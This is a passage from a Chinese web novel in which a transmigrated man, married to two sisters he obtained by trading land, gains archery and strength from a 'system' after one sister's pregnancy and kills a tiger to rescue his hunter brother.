“哥,田没了可以再买,人要是错过了,就真没了。过段时间,我会想办法挣钱的。”
他这副笃定的样子,让江峰一拳打在了棉花上。他看着这个自己从小看到大的弟弟,忽然觉得有些陌生。
“你……你好自为之吧!”
江峰最终还是没能再骂下去,他怕自己再待下去,会被活活气死。他恨铁不成钢地瞪了江夜一眼,重重地甩了甩手,转身大步离去。
看着哥哥远去的背影,江夜摇了摇头,关上了门。
一转身,就看到白梦夏和白梦秋姐妹俩正局促不安地站在墙角。
刚才江峰的话,她们都听见了。
白梦夏咬着嘴唇,犹豫了许久,才小心翼翼地走上前来,低着头,声音细若蚊蚋。
“夫君……大哥他……是不是在生我们的气?都怪我们,吃得太多了,给夫君添了天大的麻烦……”
她说着,眼圈就红了。
旁边的白梦秋也跟着小声附和:“夫君,我和姐姐都会做针线活,还会绣花,我们可以去镇上接些活计,能……能换些米粮的。”
她们不想成为这个男人的累赘,更不想他因为她们,而被唯一的亲人指责。
看着姐妹俩这副自责又懂事的模样,江夜心里一软,走上前,一手一个,将她们揽进怀里。
“胡思乱想什么呢?”他轻笑一声,捏了捏白梦秋那吹弹可破的小脸蛋,“你们是我花了两亩地换回来的宝贝,是我的福星,怎么会是麻烦?”
姐妹俩被他揽在怀里,听着他这番半是安慰半是调侃的话,心里的担忧稍减,脸颊却不由自主地红了。
江夜看着她们娇羞的模样,心头又是一阵火热。他低头在两人脸颊上各亲了一口,然后指了指窗外。
“你们看,天色已经晚了,月亮也出来了。”
姐妹俩不明所以地
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顺着他的目光看去,点了点头。
江夜嘿嘿一笑,搂着她们腰肢的大手开始不老实起来,嘴里的话更是让她们羞得快要钻进地缝里。
“正好适合咱们继续‘耕耘’啊。”
“啊?!”
“夫君……不要……”
白梦夏和白梦秋瞬间霞飞双颊,脑子都宕机了。
还来?
她们感觉骨头都快散架了,这个男人怎么就跟不知道累一样?
江夜哈哈大笑,不顾姐妹俩的惊呼和象征性的挣扎,将她们拦腰抱起,大步流星地就往床边走去。
……
另一头,江峰憋着一肚子气回了家。
刚进院子,正在喂鸡的妻子王慧慧就抬起了头,一看他两手空空的样子,脸立刻就拉了下来。
“东西送去了?”她的声音尖尖的。
江峰闷不吭声地点了点头,走到院里的石凳上坐下,拿起水瓢舀了瓢冷水,“咕咚咕咚”就灌了下去。
王慧慧把手里的瓢往地上一摔,几只正抢食的母鸡吓得“咯咯”乱飞。
“江峰!你是不是个傻子!家里的米缸都快见底了,你还拿粮食去填那个无底洞!”
她叉着腰,指着江峰的鼻子就骂了起来。
“他自己卖地换女人,那是他活该!你管他做什么?让他饿死算了!饿死他就知道错了!你这样一次次接济他,他永远都不知道悔改!”
王慧慧骂着骂着,声音却带上了哭腔,眼圈也红了。她不是真的心狠,只是看着自己家日子也过得紧巴巴,男人还一心扑在那个扶不起的弟弟身上,心里又气又委屈。
江峰任由她骂,一句话也不还。
他知道妻子说得都在理。
他抬起头,看着屋檐下挂着的那几串风干的猎物,眉头紧紧地锁了起来。
最近山里的野物越来越少,有时候进山一天都只能打到几只兔子野鸡,连养活自己一家都有些吃力了,更别说还要接济弟弟那一家三口。
再这样下去,这个冬天,怕是不好过了。
想到弟弟那副破罐子破摔的模样,再看看自己愁眉不展的妻子,江峰只觉得肩上的担子,有千斤重。
第8章 这五十两他必须挣
夜色深沉,江峰家的院子里,只有几声虫鸣。
王慧慧的咒骂声早就停了,屋里亮着一盏昏黄的油灯,夫妻俩谁也没说话,空气沉闷得像一块湿透了的棉花。
江峰坐在门槛上,一口接一口地抽着旱烟,烟雾缭绕,看不清他的脸。
就在这时,院门外传来一阵粗犷的脚步声,紧接着,一个洪钟般的声音响起。
“江峰兄弟,在家吗?”
江峰一愣,抬起头。
来人是隔壁村的王刚,十里八乡有名的猎户头子,一身的腱子肉,脸上还有一道从眉角划到嘴角的狰狞刀疤,那是早年跟野猪王搏命时留下的。
“王刚大哥?这么晚了,你怎么过来了?”江峰站起身,掐灭了烟锅。
王刚大步走进院子,咧嘴一笑,露出一口白牙。
“找你商量个大事!”王刚也不客气,一屁股坐在江峰旁边的石凳上,开门见山,“老进这外山林子打些兔子野鸡的,没甚意思。我寻思着,再过半个月天就该凉了,咱们得趁现在,进里头的深山,干一票大的!”
“进深山?”江峰心头一跳。
稻花村周围这片山,他们这些猎户只敢在外围打转。深山,那是另一个世界。
里面林子密得连太阳都透不进来,瘴气弥漫,毒虫遍地。更别说那些成了精的野兽,黑瞎子、吊睛白额虎、甚至还有人说见过磨盘大的巨**。
进去的人,十个有九个都把命丢在了里面,能活着出来的,都得脱层皮。那地方,叫“鬼见愁”。
王刚看出了江峰的犹豫,拍了拍他的肩膀,压低了声音,眼睛里闪着兴奋又贪婪的光。
“怕什么!富贵险中求!我可打听清楚了,前阵子有人在山里头瞧见了一头落单的野山猪,獠牙都快一尺长了!那家伙一身是宝,猪皮能做甲,猪肉能卖钱,那一对獠牙更是能当药材卖给镇上的大户,少说这个数!”
王刚伸出了五根粗壮的手指。
“五十两?”江峰倒吸一口凉气。
“五十两那是往少了说!”王刚嘿嘿一笑,“一头野山猪,够咱们舒舒服服过个肥年了!我这次叫了村里三个好手,再加上你,咱们五个,带上家伙,小心点,干它一票!干不干,给句痛快话!”
江峰的心脏“砰砰”狂跳。
五十两白银,那是什么概念?
能买多少粮食,能换多少地?别说弟弟那两亩薄田,就是买上十亩良田都绰绰有余!
可那“鬼见愁”的名头,不是白叫的。
他不是一个人,他有老婆,有弟弟,万一他折在里面……
“这事……太险了。王刚大哥,你让我……让我考虑一晚上。”江峰的声音有些干涩。
“行!那你可想快点,明天一早就出发,过时不候!”王刚也不多劝,他知道江峰的本事,有他加入,把握能大上三分。他站起身,扛起猎弓,大笑着走了。
“我等你消息!”
院子里,又只剩下江峰一个人。
他看着深邃的夜空,一夜无眠。
第二天,天刚蒙蒙亮。
江峰眼窝深陷,布满了血丝,但他眼神却异常坚定。
他想了一夜。
想到了妻子日益消瘦的脸,想到了米缸里那层浅浅的底,更想到了弟弟那间破屋里多出来的两张嘴。
阿夜已经废了,指望不上他了。
可他这个当哥的,不能眼睁睁看着他领着那两个女人去要饭。
爹娘走得早,留下他们兄弟俩,他得给弟弟留条后路。
这五十两,他必须去挣。
他走进屋,王慧慧已经醒了,正坐在床边,默默地看着他。
她也一夜没睡。
“慧
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慧,我……”
江-峰刚一开口,王慧慧就打断了他,声音沙哑:“你要去?”
江峰沉默地点了点头。
“我不准你去!”
王慧慧猛地从床边冲过来,死死抓住江峰的胳膊。她的眼睛通红,泪水毫无征兆地就涌了出来。
“江峰!你是不是疯了!那是鬼见愁!会**的!你忘了村西头的李瘸子了吗?他就是从那里面爬出来的,命是捡回来了,可人也废了!你要是出了什么事,我怎么办?!”
她哭喊着,拳头雨点般落在江峰结实的胸膛上,却没有半分力气。
江峰没有躲,任由她打着,然后一把将妻子紧紧搂进怀里。
他把头埋在妻子的颈窝,嗅着她发间的味道,声音沉闷得像从地底传来。
“慧慧,这是唯一的办法了。”
“家里快断粮了,阿夜那边……我不能不管。等这个冬天过去,咱们拿了钱,就买几亩好地,再也不进山了,好不好?”
他的声音里带着一丝哀求。
王慧慧的哭声一顿,随即是更汹涌的绝望。
她知道,这个男人决定的事,九头牛都拉不回来。
她哭着,骂着,从骂他不顾家,骂他死脑筋,到最后,只剩下无力的抽泣。
“你这个杀千刀的……你就是想让我当寡妇……”
最终,她挣开江峰的怀抱,抹了把泪,转身就开始翻箱倒柜。
她找出家里最好的伤药,用油纸包了一层又一层。又把家里仅剩的几块肉干全都拿出来,用布袋装好。她找出最结实的麻布,给他缝补加固衣物,一针一线,都像是扎在自己的心上。
她一句话也不说,只是埋着头,眼泪一颗一颗地砸在手背上,又被她飞快地用袖子擦去。
江峰站在一旁,看着妻子颤抖的肩膀,心如刀割。
第9章 夫君,我有了
夜深,万籁俱寂。
破败的茅屋里,只有一盏豆大的油灯在静静燃烧,将两道交缠的身影投在土坯墙上。
江夜搂着怀里温香软玉的娇躯,心中一片满足。
白梦夏安静地靠在他的胸膛上,听着他沉稳有力的心跳,长长的睫毛在昏黄的灯光下投下一片浅浅的阴影。这几日的荒唐,让她从最初的羞愤欲死,到如今,竟生出了一丝心安和依赖。
江夜的大手有些不老实,顺着她纤细的腰肢缓缓上移,最终落在了她那平坦柔软的小腹上。
“养了几天,好像还是没长几两肉。”他低声呢喃。
怀里的身子猛地一颤。
白梦夏的脸颊瞬间腾起一片滚烫的红霞,连雪白的脖颈都染上了动人的粉色。她将脸埋得更深了些,声音细得像蚊子哼哼。
“夫君……我……我的月事,迟了快十天了……恐……恐怕是……”
后面的话,她再也说不出口,只觉得整个人都快要烧起来了。
江夜摩挲的动作,戛然而止。
他整个人都僵住了,脑子里仿佛有什么东西炸开。
月事迟了?
有了?!
他猛地坐起身,低头看向怀里的女人。
昏暗的灯光下,她那张绝美的鹅蛋脸红得能滴出血来,一双秋水般的眸子蒙着一层水雾,既有少女的娇羞,又带着一丝对未来的忐忑与憧憬。
江夜的心脏,开始不受控制地狂跳起来,一下,又一下,像是要从胸膛里蹦出来!
多子多福!
他穿越过来最大的金手指,终于要开始兑现了!
就在这时,那道熟悉的机械电子音,如同天籁之音,在他脑海中轰然炸响!
【叮!恭喜宿主开枝散叶,血脉传承有望!】
【检测到极品鼎炉白梦夏已受孕,奖励发放中……】
【恭喜宿主获得:体力+10!(成年男子标准值为5)】
【恭喜宿主获得:宗师级箭法!】
一连串的提示音落下,江夜还没来得及狂喜,一股难以形容的磅礴热流,猛地从他的丹田深处爆发开来!
这股热流如同一条条苏醒的火龙,瞬间冲向他的四肢百骸,在他体内疯狂奔涌!
他能清晰地感觉到,自己的骨骼在发出“噼啪”的轻响,肌肉纤维被撕裂又重组,一股前所未有的**性力量,在他的身体里疯狂滋生!
原本因为连日“耕耘”而略显疲惫的身体,瞬间被无穷无尽的精力所填满!
他现在感觉自己能一拳打死一头牛!
紧接着,无数关于箭术的知识、技巧、经验,疯狂涌入他的脑海!
如何搭箭引弦,如何听风辨位,如何在飞奔的马背上百步穿杨……
这些记忆如此真实,如此深刻,仿佛他不是刚刚获得,而是已经浸淫此道数十年,是一位站在箭术顶点的绝代宗师!
“哈哈……哈哈哈!”
江夜再也压抑不住心中的狂喜,猛地仰头,发出了畅快淋漓的大笑声。
这笑声在寂静的夜里传出老远,惊得屋檐下的蜘蛛都掉了下来。
“夫君?”白梦夏被他吓了一跳,怯生生地抬起头。
江夜低下头,看着她那张写满关切和疑惑的俏脸,心中的豪情壮志几乎要溢出来。
他一把将白梦夏紧紧搂进怀里,在她光洁的额头上重重亲了一口。
“梦夏,你就是我的福星!天大的福星!”
看着白梦夏略显苍白的小脸,江夜心中一阵心疼。
不行,自己的女人怀了孩子,可不能再跟着自己吃糠咽菜了。那点腊肉哪里够?必须得吃好的,吃最有营养的!
他当即做出决定,明天就进山,去打猎!
……
第二天,天刚蒙蒙亮。
江夜便神采奕奕地起了床,只觉得浑身上下有使不完的劲。
他简单洗漱了一下,看着还在熟睡的姐妹俩,悄悄推门而出,径
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直朝着村西头江峰家走去。
刚到院子门口,就看到嫂子王慧慧正黑着一张脸在院里喂鸡。
她看到江夜,本就难看的脸色瞬间又沉了三分,抓起一把谷子狠狠往地上一撒,嘴里没好气地骂道:“吃吃吃!就知道吃!一群不下蛋的玩意儿!”
这话骂的是鸡,可那眼神,却跟刀子似的往江夜身上剜。
江夜如今心境大不相同,根本不跟她一般见识,脸上挂着淡淡的笑意,直接走了进去。
“嫂子,早啊。”
王慧慧从鼻子里“哼”了一声,连眼皮都懒得抬一下。
江夜也不在意,开门见山:“哥在家吗?我想借他的弓箭用用。”
这话一出,王慧慧喂鸡的动作停了下来。
她像是听到了天大的笑话,转过身,上上下下地打量着江夜,嘴角扯出一抹毫不掩饰的讥讽。
“借弓箭?怎么,江大懒汉今天太阳打西边出来了,不搂着你的狐狸精睡觉,还想学人打猎了?”
“就你这身子骨,拉得开弓吗?别到时候猎物没打着,再把自个儿给闪了腰,那可就成全村的笑话了!”
尖酸刻薄的话语像连珠炮一样。
要是以前的江夜,怕是早就被骂得灰溜溜地走了。
但现在的江夜,只是平静地看着她,神色没有丝毫波澜。
“嫂子说笑了,我就是想进山碰碰运气,打点野鸡兔子,给梦夏她们补补身子。”
提到“补身子”三个字,王慧慧的眼神猛地一颤,那股刻薄和讥讽瞬间褪去,取而代之的,是一抹深深的黯然。
她的声音,也跟着发起颤来,带着一丝哭腔。
“进山……还进什么山……”
“你哥他……他昨天天不亮就跟着隔壁村的王刚,进了里头的‘鬼见愁’,说要去打什么野猪王……”
王慧慧的眼圈一下子就红了,泪水在眼眶里打转。
“到现在……还没回来。”
第10章 鬼见愁
江夜听到“鬼见愁”三个字,他脸上的笑意瞬间凝固。
深山是猎户们的禁地,是活人止步的坟场。
大哥疯了吗?为了五十两银子,连命都不要了?
“嫂子,你别急,大哥不会有事的。”江夜的声音不自觉地沉了下来。
“不会有事?!”王慧慧瞬间炸毛,她通红的眼睛死死瞪着江夜,积压了一夜的恐惧和怨恨,在这一刻彻底爆发。
“都是你!都是你这个败家子!要不是为了你,为了你那两张吃饭的嘴,他会去鬼见愁拼命吗?!”
“你卖地买女人,在屋里快活,却让你哥拿命去给你填窟窿!江夜,你还有没有良心!你对得起地底下爹娘吗?!”
她嘶吼着,哭喊着。
骂完,她猛地转身冲进屋里,片刻后,一把东西从门里被狠狠扔了出来,“哐当”一声砸在江夜脚边。
“要借弓是吧?拿去!你这么有本事,也去鬼见愁啊!死在里面,正好给你哥作伴,省得我清明还得烧两份纸!”
那是一把破旧的木弓,弓身布满了细密的裂纹,看着就有些年头了。弓弦更是松松垮垮,像是下一秒就要断掉。旁边还扔着一个简陋的箭囊,里面只有寥寥几根尾羽都快掉光的木箭。
王慧慧扔完弓,就靠在门框上,捂着脸,发出了压抑不住的呜咽。
江夜默默地看着脚下的破弓,又看了看那个在晨风中肩膀不住颤抖的嫂子,心中一叹。
他知道,她不是真的恨他,她只是怕。
怕江峰回不来,怕这个家就这么塌了。
他什么也没说,弯腰捡起了那把破弓和箭囊,转身,大步朝着村后的山林走去。
王慧慧透过指缝,看着那道背影越走越远,嘴唇哆嗦着,想喊住他,想让他别去送死,可最终,一个字都没能喊出口。
她缓缓地蹲在地上,将脸埋进膝盖里,眼泪无声地滑落,浸湿了脚下的尘土。
……
江夜一脚踏入山林,周遭的喧嚣仿佛瞬间被隔绝。
他将那把破弓握在手里,一股奇妙的感觉油然而生。
脑海中,那属于宗师级箭法的记忆,与他的灵魂彻底融为一体。
握弓的姿势,搭箭的手法,甚至是如何通过风声、草木的摇曳来判断猎物的方位,一切都变得如同呼吸般自然。
他的眼神,在这一刻变得无比锐利。
周围的一切,在他的感官中,仿佛都变慢了。
五十步外,一片树叶的飘落轨迹;三十步外,一只蚂蚁爬过石头的细微声响;甚至连空气中流动的风,他都能清晰地“看”见。
就在这时,他耳朵微动。
“嗖!”
他看都没看,反手从箭囊中抽出一支箭,搭弓,引弦,动作行云流水,一气呵成。
那松松垮垮的弓弦,在他手中拉成了一轮满月!
手指一松,那根看似随时会散架的木箭,发出一声尖锐的破空之声,瞬间没入右侧的草丛中。
草丛里传来一阵扑腾声,随即归于死寂。
江夜走过去,一只肥硕的野兔被一箭穿脑,死得透透的。
爽!
这就是宗师级箭法!
江夜心中涌起一股豪情,但他没有半分停留。
想到生死未卜的大哥,他眉头紧锁,不再理会这些小猎物,径直朝着深山的方向奔去。
体力+10的效果此刻完全展现出来,他脚下生风,在崎岖的山路中如履平地,速度快得惊人。
刚翻过一道山梁,还没等他进入真正的深山范围,前方林子里突然传来一阵凄厉的惨叫和混乱的脚步声。
紧接着,三个身影连滚带爬地从密林中冲了出来。
这几人形容狼狈到了极点,身上的兽皮衣被撕得破破烂烂,
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脸上、胳膊上全是血淋淋的划痕。其中一人更是连鞋都跑掉了一只,光着脚在碎石上狂奔,却仿佛感觉不到疼痛。
他们脸上那种表情,不是简单的害怕,而是一种魂飞魄散的发自本能的恐惧。
江夜一眼就认出,这几人正是王慧慧说的隔壁村跟着王刚一起进山的猎户。
他身形一闪,挡在其中一个跑在最前面的男人身前。
那人被凭空出现的江夜吓得一屁股坐在地上,手脚并用地往后蹭。
江夜眉头紧皱,一把抓住他的衣领,将他从地上拎了起来,声音冰冷如铁。
“我哥江峰呢?”
那猎户**夜的眼神一瞪,牙齿上下打着颤,语无伦次地指着身后的密林。
“虎……虎!吊睛白额虎!磨盘大的吊睛白额虎!”
“王……王刚大哥……还有……还有……一……一口,就半个身子都没了!”
那人说着,眼泪鼻涕一起流了下来,显然是吓破了胆。
“我哥呢!”江夜的手指几乎要嵌进那人的骨头里,厉声喝问。
“不……不知道!我们看到老虎就分头跑了……江峰他……我没看到……不知道……我真的不知道啊!”
吊睛白额虎!
江夜瞳孔骤然一缩。
他松开手,任由那猎户瘫软在地。
下一秒,他整个人化作一道残影,义无反顾地冲进了那片被称为“鬼见愁”的深山密林。
剩下的两个猎户刚刚追上来,只看到一道模糊的背影消失在林海之中,快得不似凡人。
“他……他疯了?那里面有虎王啊!他进去送死吗?”一个猎户惊魂未定地看着江夜消失的方向,满脸的不可思议。
他们这些常年打猎的好手,在那畜生面前都跟鸡崽子一样,他一个肩不能扛,手不能提的废物冲进去,不是给那老虎塞牙缝吗?
第11章 虎口救兄
鬼见愁林深似海,不见天日。
一踏入这片密林,光线便骤然暗淡,参天古木遮天蔽日,空气中弥漫着一股腐烂的枯枝败叶和不知名野兽留下的腥臊气味,混杂在一起,令人作呕。
换做以前的江夜,恐怕走不了几步就得腿软。
但现在,他只觉得周遭的一切都无比清晰。
左前方三十步,一根被仓皇踩断的树枝,断口还很新鲜。右前方二十步,一片宽大的树叶背面,沾着一滴已经开始凝固的暗红色血珠。
那是人血。
他循着这些蛛丝马迹,在盘根错节的林间穿梭,脚下几乎不发出任何声音。
体力+10带来的改变,他感觉不到疲惫,只有无穷无尽的力量在四肢百骸中奔涌。
就在他即将翻过一道山坡时,一声震耳欲聋的虎啸,猛地从林子深处传来!
“嗷——!”
那声音不再是单纯的威慑,而是充满了暴戾与被挑衅后的愤怒。
江夜的心猛地一沉。
那很有可能就是大哥所在的方向。
他不再有任何保留,速度陡然加快,整个人化作一道模糊的残影,朝着虎啸传来的方向狂奔而去。沿途的荆棘灌木挂在他的衣服上,瞬间就被他强大的冲势撕得粉碎。
又一声虎啸传来,这一次,更近,也更狂暴。
江夜拨开眼前最后一片垂下的巨大蕨叶。
眼前的景象,让他双目瞬间赤红,一股滔天的杀意从心底轰然炸开!
只见一棵两人合抱粗的古树下,江峰背靠着树干,半坐在地上,浑身浴血。
他的左腿上,一个血肉模糊的窟窿正汩汩地往外冒着血,看形状,像是被什么东西生生撕下了一块肉。
而在他身前,一头通体布满黑黄条纹的吊睛白额虎,正死死地盯着他。
这畜生的左眼上,斜插着一支断箭,正是猎户们常用的那种制式箭矢。另一只独眼,闪烁着嗜血的光芒。
江峰手里那把砍柴刀的刀刃,已经卷了口,此刻正被他用尽全身力气,死死抵在那畜生张开的血盆大口中。锋利的虎牙与破旧的柴刀摩擦,发出令人牙酸的“咯吱”声。
一人一虎,就这样僵持着。
但江夜看得分明,大哥的胳膊在剧烈颤抖,脸色苍白如纸,显然已经到了油尽灯枯的边缘。
那猛虎似乎也失去了耐心,它喉咙里发出一声低沉的咆哮,那只蒲扇般大小的虎爪猛地抬起,朝着江峰的天灵盖狠狠拍下!
完了……
江峰看着那在瞳孔中急速放大的虎爪,眼中闪过一丝绝望。
他想到了家里还在等他回去的妻子,想到了那个不成器却又让他放不下的弟弟。
慧慧,我对不住你……
阿夜,以后……要靠你自己了……
他缓缓地闭上了眼睛。
就在这千钧一发之际!
“咻——!”
一声尖锐到极致的破空声,仿佛撕裂了这片死寂的林子!
一道黑影,后发先至,带着一股一往无前的气势,精准无比地射中了猛虎高高抬起的右爪!
接着是那只完好无损的右眼!
“噗嗤!”
那根看似随时会散架的木箭,此刻却爆发出无与伦比的穿透力,大半截箭身,连带着尾羽,齐根没入了猛虎的眼窝!
“嗷——!”
一声比之前凄厉十倍的惨嚎,从猛虎的喉咙里爆发出来。剧痛让它瞬间疯狂,它猛地甩头,那拍向江峰的巨爪也偏到了一旁,轰隆一声砸在地上,泥土碎石四溅。
江峰猛地睁开眼。
他看到那头猛虎正在疯狂地甩着脑袋,鲜血和一种浑浊的液体从它双眼中喷涌而出。
然后,他看到了站在不远处,那个让他毕生难忘的身影。
他的弟弟,江夜。
此刻正手持着那把他再熟悉不过的破木弓,拉弓如满月。
江峰的脑子瞬间一片空白。
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>阿夜?
他怎么会在这里?
他手里拿的……是我的弓?那张连兔子都射不准的破弓?
他……他刚才……
不等江峰想明白,江夜动了。
“咻!”
第三箭!
在猛虎因剧痛而疯狂扭动的瞬间,以一个不可思议的角度,再次精准地从那只被射爆的右眼伤口处,射了进去!
“咻!”
第四箭!
“咻!”
第五箭!
江夜的动作快得只剩下残影,搭箭,引弦,松手,一气呵成,仿佛演练了千百遍。
那几根尾羽都快掉光的破烂木箭,在他手中,化作了催命的符咒。
箭箭穿脑!
每一箭,都循着前一箭留下的路径,毫不留情地灌入猛虎的大脑深处。
“嗷……呜……”
猛虎的咆哮变成了痛苦的哀鸣,它那庞大的身躯剧烈地晃动了几下,仿佛喝醉了酒一般,最后,那双铜铃般的眼睛彻底失去了神采。
“轰——!”
巨大的虎躯轰然倒地,激起一片尘土。它四肢抽搐了几下,便彻底没了声息。
林子里,恢复了死一般的寂静。
江夜看着那死透了的猛虎,缓缓吐出一口浊气,紧绷的身体终于放松下来。
他松开手,“啪”的一声,那张本就布满裂纹的破木弓,再也承受不住,从中间断成了两截,掉在了地上。
江峰呆呆地看着这一切。
他看看那头死得不能再死的猛虎,又看看不远处神色淡然的弟弟,最后,目光落在了地上那截断掉的破弓上。
整个世界观,在这一刻,崩塌得稀碎。
这……这**到底是怎么回事?
自己的懒汉弟弟,用自己打鸟都费劲的破弓,几箭就射杀了一头连王刚那样的猎户头子都得绕着走的虎王?
是我失血过多,出现幻觉了?
还是说……我其实已经**,现在是在做梦?
第12章 哥,咱们回家
“哥!”
江夜扔掉手中断成两截的木弓,三步并作两步冲到江峰身边。
他蹲下身,目光落在江峰的左腿上,脸色瞬间沉了下去。
伤口深可见骨,是被虎爪硬生生撕下了一大块肉,周围的皮肉都翻卷开来,血还在不停地往外渗。
“别动。”
江夜的声音不带一丝情绪,却透着一股冷静。
他没有丝毫犹豫,“嘶啦”一声,从自己身上那件本就破烂的麻衣下摆,撕下了一长条还算干净的布料。
他绕到江峰身后,用膝盖顶住他的背,让他保持坐姿,然后用布条在他的大腿根部,那个血窟窿的上方,狠狠地打了个死结,用尽力气勒紧。
剧痛让昏沉的江峰猛地一颤,倒吸一口凉气,人也清醒了几分。
他终于如梦初醒,一把抓住了江夜正在他腿上忙活的手。
那只手,骨节分明,温暖而有力。
是真实的。
“阿夜……”江峰的声音干涩沙哑,充满了劫后余生的后怕与茫然,“真的是你……我……我不是在做梦?”
他看着几步外那头死透了的吊睛白额虎,又看看眼前这个熟悉又陌生的弟弟,脑子里依旧是一团浆糊。
“哥,你没做梦,我还活着,你也活着。”
江夜拍了拍他的肩膀,示意他别乱动,省点力气。
他抬起头,目光快速扫过四周。
这片林子阴森潮湿,血腥味很快就会引来别的野兽,必须尽快离开。
就在这时,他的目光忽然定格在了不远处,一处背阴的崖壁下。
那里,几块青苔斑驳的岩石缝隙间,长着一株不起眼的植物。
它约莫一尺来高,顶上开着一簇淡紫色的小花,花下结着一小串鲜红欲滴的果子,如同玛瑙一般。
一股若有若无的淡淡幽香,正从那植株上散发出来,在这片混杂着血腥和腐臭的空气中,显得格外独特。
江夜的心,猛地一跳。
他站起身,快步走了过去。
离得近了,那股异香越发清晰,闻上一口,都让人觉得精神一振。
江夜蹲下身,小心翼翼地拨开周围的杂草。他没有立刻动手,而是从地上捡起一根枯树枝,顺着植株的根部,极为耐心地将周围的泥土一点点刨开。
他的动作很慢,很轻。
江峰靠在树上,看着弟弟奇怪的举动,满头雾水。
都什么时候了,怎么还有心思去挖一棵野草?
随着泥土被一层层剥离,一截黄褐色的根茎,渐渐露出了真容。
江夜的呼吸,不由自主地屏住了。
他扔掉树枝,直接用手,轻轻地,将根茎周围的土全部拨开。
当整株植物被完整地从土里起出时,江夜的眼睛里,爆发出了一阵狂喜的光芒。
那哪里是什么普通的植物根茎!
分明就是一根完整的野山参!
它通体呈黄褐色,主根粗壮,形态酷似一个盘腿而坐的小人,头、身、四肢,一应俱全。根须分明,几乎没有断裂。参上的纹路,更是细密而深刻,一圈一圈,记录着它不凡的岁月。
百年!
这绝对是一株上了百年的极品野山参!
江夜心脏砰砰狂跳,这可真救命的宝贝!
他不再耽搁,用手指在那细长的参须上,掐了指甲盖大小的一小段,快步走回江峰身边。
“哥,张嘴。”
江峰愣愣地看着弟弟手里那截黄不拉几的根须,满脸疑惑。
“这是什么?”
“别问,吃了。”
江夜不容分说,直接将那小段参须塞进了江峰干裂的嘴里。
一股浓郁的苦涩伴随着奇特的甘香瞬间在口腔中化开。江峰下意识地咀嚼了两下,将那参须咽了下去。
几乎是瞬间,江峰就感觉到一股热气从丹田升起,迅速流向四肢百骸。原本因为失血过多而冰冷的身体,渐渐回暖,脑袋里那种昏沉的感觉也一扫而空,甚至连腿上伤口的疼痛都减轻了不少。
不过是片刻功夫,江峰那张惨白如纸的脸,竟肉眼可见地恢复了一丝血色。
他震惊地看着江夜。
“阿夜……这……这是神药?”
“差不多吧。”江夜笑了笑,将剩下的野山参用布小心翼翼地包好,贴身藏了起来。
有了这人参吊着命,江峰的状况算是暂时稳住了。
兄弟俩歇了片刻
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,江峰的精神头明显好了许多,甚至能自己撑着坐起来了。
他看着地上那头小山似的猛虎,又看看身旁忙活的弟弟,感觉自己这一上午的经历,比前半辈子加起来都离奇。
“阿夜,这老虎……咱们怎么办?”江峰问。
这可是虎王,一身都是宝。虎皮、虎骨、虎肉,甚至虎鞭,拿到镇上,都能卖出天价。
“怎么办?当然是带回家。”江夜说得理所当然。
他走到虎尸旁,试着拽了拽老虎的一条腿。
沉!
这畜生少说也有四五百斤重。
江峰苦笑一声:“别费劲了,咱们俩根本弄不动,等我们回去叫人……”
他话还没说完,就看到江夜深吸一口气,扎稳马步,双手抓住老虎的两条后腿,喉咙里发出一声低吼。
“起!”
在江峰目瞪口呆的注视下,那头重达数百斤的猛虎,竟然**夜硬生生地从地上拖了起来!
江夜就这么拖着一头比他还大的猛虎,走到了江峰面前,然后脸不红气不喘地蹲下身。
“哥,上来,我背你。”
江峰:“……”
他看着弟弟那并不算魁梧,甚至有些单薄的后背,又看了看他手里拖着的猛虎,感觉自己的脑子已经彻底不够用了。
这**还是人吗?
天色已近黄昏,残阳如血,将整片山林染上了一层诡异的橘红色。
鬼见愁的山道上,出现了一副奇异画面。
一个年轻人,背上背着一个高大的汉子,手里……还拖着一头小山般的吊睛白额虎。
他一步一步,走得沉稳。
数百斤的重物,在他手中仿佛没有重量。
江峰趴在弟弟的背上,感受着身下传来的平稳力量,听着耳边猛虎尸体在地上拖行的“沙沙”声,整个人都还是懵的。
他想问,阿夜,你什么时候力气变得这么大了?
他想问,阿夜,你那手箭术是跟谁学的?
可千言万语,最终只化作一句。
“阿夜,慢点……哥不急。”
“没事。”江夜的声音从下方传来,依旧平稳,“天快黑了,嫂子和梦夏她们该等急了。”
第13章 败犬狂吠
当夕阳的最后一抹余晖从山尖滑落,稻花村被笼罩在一片沉凝的暮色中。
村口那棵老槐树下,气氛凝重得几乎能滴出水来。
幸存的猎户已经带回了消息。
鬼见愁,虎王,王刚被一口咬掉半个身子,江峰不知所踪,而那个败家子江夜,竟然不知死活地冲了进去。
消息很快就吹遍了村子的每一个角落,也吹熄了所有人心中最后一点侥幸。
完了。
江家兄弟俩,这下是彻底完了。
王慧慧在听到消息的瞬间,眼前一黑,直挺挺地就倒了下去。被人掐着人中救醒,她也只是呆呆地坐着,不哭也不闹,直到有人提起江夜也跟着冲了进去,她才像是被抽走了最后一根主心骨,彻底崩溃了。
她扑在地上,用拳头死命地捶打着坚硬的黄土地,哭得撕心裂肺。
“江峰!你这个杀千刀的!你怎么就这么狠心啊……”
“江夜!你个小畜生!你还我男人命来!你还我男人……”
她哭晕过去好几次,醒来就死死抱着女儿琼琼,目光空洞地望着后山的方向,脸上一片死灰。
五岁的琼琼被吓坏了,不敢哭,只是用小手紧紧抓着娘的衣襟,小小的身子不住地发抖。
村东头,那间最破败的茅草屋前,气氛同样凝固。
白梦夏和白梦秋姐妹俩俏脸煞白,没有一丝血色。她们从傍晚开始就站在这里,像两尊望夫石,眼睛一眨不眨地盯着村口通往后山的那条小路。
周围的议论声,她们听见了。
王慧慧的哭嚎声,她们也听见了。
她们的心,随着那些声音,一点一点沉入无底的深渊。
那个用两亩地换了她们,给了她们一个家的男人……就这么没了吗?
白梦夏紧紧咬着下唇,几乎要咬出血来。她不能倒下,她身后还有妹妹。她强迫自己站直,可双腿却软得像面条,只能靠着身后的土墙,才勉强没有滑倒。
白梦秋早已泪流满面,她死死抓着姐姐的衣角,把脸埋在姐姐的后背上,压抑的呜咽声断断续续,充满了无助和恐惧。
不远处,几个婆娘聚在一起,为首的正是王翠花。
她嗑着瓜子,看着江家那边的惨状,嘴角却抑制不住地向上翘起,眼中满是幸灾乐祸。
“啧啧,这下好了,江家算是彻底绝后了。”她把瓜子皮往地上一吐,声音不大不小,正好能让周围的人都听见,“老话说得好,不作死就不会死。放着好好的日子不过,非要去招惹狐狸精,老天爷都看不下去了。”
她斜眼瞟向那两个站在门口瑟瑟发抖的绝色身影,语气里充满了恶毒的快意。
“这下可好,男人**,看那两个小骚蹄子怎么办。年纪轻轻的,怕不是要守一辈子活寡喽!”
